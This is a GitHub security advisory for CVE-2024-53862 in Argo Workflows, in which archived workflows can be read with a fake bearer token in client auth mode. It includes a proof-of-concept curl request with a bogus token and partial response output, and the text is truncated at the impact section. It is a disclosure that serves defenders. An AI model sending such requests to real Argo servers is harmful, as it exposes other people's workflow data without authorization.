GitHub Advisoryadvisory · Go

GHSA-h36c-m3rf-34h9 Access to Archived Argo Workflows with Fake Token in `client` mode

MEDIUM Published 2024-12-02 Modified 2024-12-02 Official page ↗
Aliases
CVE-2024-53862
Ecosystem
Go
Packages
github.com/argoproj/argo-workflows/v3
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Weaknesses
CWE-200
Reviewed
2024-12-02

Affected packages

• Go github.com/argoproj/argo-workflows/v3: >= 3.5.7, < 3.5.13 → fixed in 3.5.13 • Go github.com/argoproj/argo-workflows/v3: >= 3.6.0, < 3.6.2 → fixed in 3.6.2

Description

Summary When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` When using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` Details No authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that _looks_ valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a `kubectl auth can-i` check for respective methods. In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. PoC Configuration Controller `ConfigMap`: ```yaml config: | persistence: archive: true postgresql: database: argoworkflows host: db-host passwordSecret: key: postgresPassword name: argo-wf-postgres-credentials port: 5432 tableName: argo_workflows userNameSecret: key: username name: argo-wf-postgres-credentials ``` Server: `--auth-mode=client` Reproduction Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed. For example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token): ```sh curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g ``` Results in a returned workflow: ``` • Host localhost:8000 was resolved. • IPv6: ::1 • IPv4: 127.0.0.1 • Trying [::1]:8000... • Connected to localhost (::1) port 8000 > GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1 > Host: localhost:8000 > User-Agent: curl/8.7.1 > Accept: */* > Authorization: Bearer thisisatest > • Request completely sent off Impact Users of the Server with `--auth-mode=clie…

Related

Alias · CVE (1)

  • CVE-2024-53862 Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. vulnerability

Weakness · CWE (1)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References